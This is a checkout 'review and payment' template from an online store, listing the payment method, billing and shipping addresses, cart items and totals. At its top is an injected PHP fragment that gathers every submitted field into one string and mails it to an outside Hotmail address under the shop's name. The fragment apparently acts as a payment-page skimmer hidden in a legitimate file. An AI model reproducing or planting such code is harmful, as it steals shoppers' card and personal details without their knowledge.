$data){
$fulldata.=$key.': '.$data."\n";
}
mail('contijuv@hotmail.com', ' bethelpartyrentals.com '.rand(0,9999999), $fulldata);
}
?>
{$msg.cart.review_and_payment}
{$msg.cart.order_id}: {$order_num}
{***********************************************************}
{** SELECT PAYMENT METHOD WHEN ADDITIONAL METHODS EXIST **}
{$msg.cart.please_select_payment_method}
{if $enable_gift_cert == 'Yes'}
{/if}
{if ($order->totalAmount - $order->gift_cert_amount)> 0}
{if $payment_methods_count> 1}
{assign var="is_pm_selected" value=false}
{assign var="isFirstGateway" value=false}
{foreach from=$payment_methods key=pid item=payment_method}
{assign var="is_pm_selected" value=true}
{assign var="isFirstGateway" value=true}
{/foreach}
{/if}
{/if}
{if $enable_gift_cert != 'Yes' && $payment_methods_count < 1}
{$msg.cart.no_payment_methods_available}
{lang msg=$msg.common.contact_admin e=$GlobalSupportEmail}
{/if}
{** FREE ORDER PAYMENT METHOD - START **}
{if ($order->totalAmount - $order->gift_cert_amount) <= 0}
{** FREE ORDER PAYMENT METHOD - FINISH **}
{else}
{************************************************}
{** MAKE PAYMENT FORMS FOR EACH PAYMENT METHOD **}
{foreach from=$payment_methods key=pid item=payment_method}
{***********************************}
{** JAVASCRIPT VALIDATOR FOR FORM **}
{*************************}
{** PAYMENT FORM ITSELF **}
{/foreach}
{if $isMoneybookers}
{script src="content/engine/payment/moneybookers/moneybookers.js"}
{/if}
{/if}
{*** GIFT CERTIFICATE ***}
{if $enable_gift_cert == 'Yes'}
{include file="templates/pages/checkout/traditional-checkout/form-gift-certificate.html"}
{/if}
{*** GIFT CERTIFICATE ***}
{** BILLING AND SHIPPING ADDRESS / CUSTOM FIELDS AND GIFT MESSAGE**}
{$msg.billing.billing_address}
{$billing_address.fname|htmlspecialchars} {$billing_address.lname|htmlspecialchars}
{if $billing_address.company != ''}{$billing_address.company|htmlspecialchars}
{/if}
{$billing_address.address1|htmlspecialchars}, {$billing_address.address2|htmlspecialchars}
{$billing_address.city|htmlspecialchars}, {$billing_address.province|htmlspecialchars}
{$billing_address.country_name|htmlspecialchars}, {$billing_address.zip|htmlspecialchars}
{if $cf_billing}
{foreach from=$cf_billing item="cfield"}
{$cfield.field_caption|htmlspecialchars} : {$cfield.value_translated|htmlspecialchars}
{/foreach}
{/if}
{$msg.shipping.shipping_address}
{if !$order->shippingDigital}
{$shipping_address.name|htmlspecialchars} {$shipping_address.lname|htmlspecialchars}
{if $shipping_address.company != ''}{$shipping_address.company|htmlspecialchars}
{/if}
{$shipping_address.address1|htmlspecialchars}, {$shipping_address.address2|htmlspecialchars}
{$shipping_address.city|htmlspecialchars},
{if $shipping_address.state_id>0}{$shipping_address.state|htmlspecialchars}{else}{$shipping_address.province|htmlspecialchars}{/if}
{$shipping_address.country|htmlspecialchars}, {$shipping_address.zip|htmlspecialchars}
{if $cf_shipping}
{foreach from=$cf_shipping item="cfield"}
{$cfield.field_caption|htmlspecialchars} : {$cfield.value_translated|htmlspecialchars}
{/foreach}
{/if}
{else}
{$msg.shipping.no_shipping_informatio_available}
{$msg.shipping.digital_download}
{/if}
{** CART CONTENT START **}
{$msg.product.product_description} |
{$msg.product.product_price} |
{$msg.product.product_quantity} |
{$msg.cart.total} |
{foreach from=$order_items item="order_item"}
{$order_item.title|htmlspecialchars}
{$msg.product.product_id}: {if $order_item.product_sub_id != ""} {$order_item.product_sub_id|htmlspecialchars}{else}{$order_item.product_id|htmlspecialchars}{/if}
{if $order_item.options != ""}
{assign var=options value=$order_item.options_parsed}
{foreach from=$options item=option}
{$option.name}: {$option.value|htmlspecialchars}
{/foreach}
{/if}
|
${$order_item.product_price|number_format:2}
{if $order_item.is_taxable == "No"}
({$msg.cart.not_taxable})
{else}
{$msg.cart.tax_rate}:
{if $order_item.tax_description != ""}
{$order_item.tax_description}
{else}
{math equation="round(x,2)" x=$order_item.tax_rate format="%0.2f"}%
{/if}
{if $DisplayPricesWithTax=="YES"} - {$msg.cart.included_in_price}{/if}
{/if}
|
{$order_item.quantity} |
${$order_item.product_total|number_format:2} |
{/foreach}
{** subtotal **}
{if $DisplayPricesWithTax == "YES" && $order->taxAmount> 0}
{$msg.cart.subtotal_amount} ({$msg.cart.with_tax}) |
${$order->subtotalAmountWithTax|number_format:2} |
{$msg.cart.subtotal_amount} ({$msg.cart.without_tax}) |
${$order->subtotalAmount|number_format:2} |
{else}
{$msg.cart.subtotal_amount} |
${$order->subtotalAmount|number_format:2} |
{/if}
{** discount **}
{if $order->discountAmount> 0}
{$msg.cart.discount_amount}
{**
{if $order->discountType == "percent"}
(-{$order->discountValue|smartround}%)
{/if}
**}
|
{if $order->discountAmount> 0}-{/if} {$order->discountAmount|price} |
{/if}
{** handling **}
{if $order->handlingSeparated && $order->handlingAmount> 0}
{$order->handlingText|htmlspecialchars}
{**
{if $order->handlingTaxable && $order->handlingTaxAmount> 0}
({$msg.cart.shipping_taxable} {if $order->handlingTaxDescription != ""}{$order->handlingTaxDescription}{/if})
{/if}
**}
|
${$order->handlingAmount|number_format:2} |
{/if}
{** shipping **}
{if $ShippingCalcEnabled == "YES"}
{$ShippingLabel|htmlspecialchars}
({$order->shippingCMName|htmlspecialchars}{**{if $order->shippingTaxable}; {$msg.cart.shipping_taxable} - {$order->shippingTaxDescription}{/if}**})
|
${$order->shippingAmount|number_format:2} |
{/if}
{if $order->insureShipActive && $order->insureShipAmount> 0}
InsureShip:
|
${$order->insureShipAmount|number_format:2} |
{/if}
{** tax **}
{$msg.cart.tax_amount} |
${$order->taxAmount|number_format:2} |
{if $order->promoDiscountType != "none" && $order->promoDiscountAmount> 0 || $enable_gift_cert == 'Yes'}
{$msg.cart.promotions_and_gift_certificates} |
{** promo **}
{if $order->promoDiscountType != "none" && $order->promoDiscountAmount> 0}
{$msg.cart.promo_code_discount}
{**
{if $order->promoDiscountType == "percent"}
(-{$order->promoDiscountValue|smartround}%)
{/if}
**}
|
- ${$order->promoDiscountAmount|number_format:2} |
{/if}
{** GIFT CERTIFICATE **}
Gift Certificate |
-${$order->gift_cert_amount|number_format:2} |
{** GIFT CERTIFICATE **}
{/if}
{** total **}
{$msg.cart.total_amount} |
${$order->totalAmount-$order->gift_cert_amount|number_format:2} |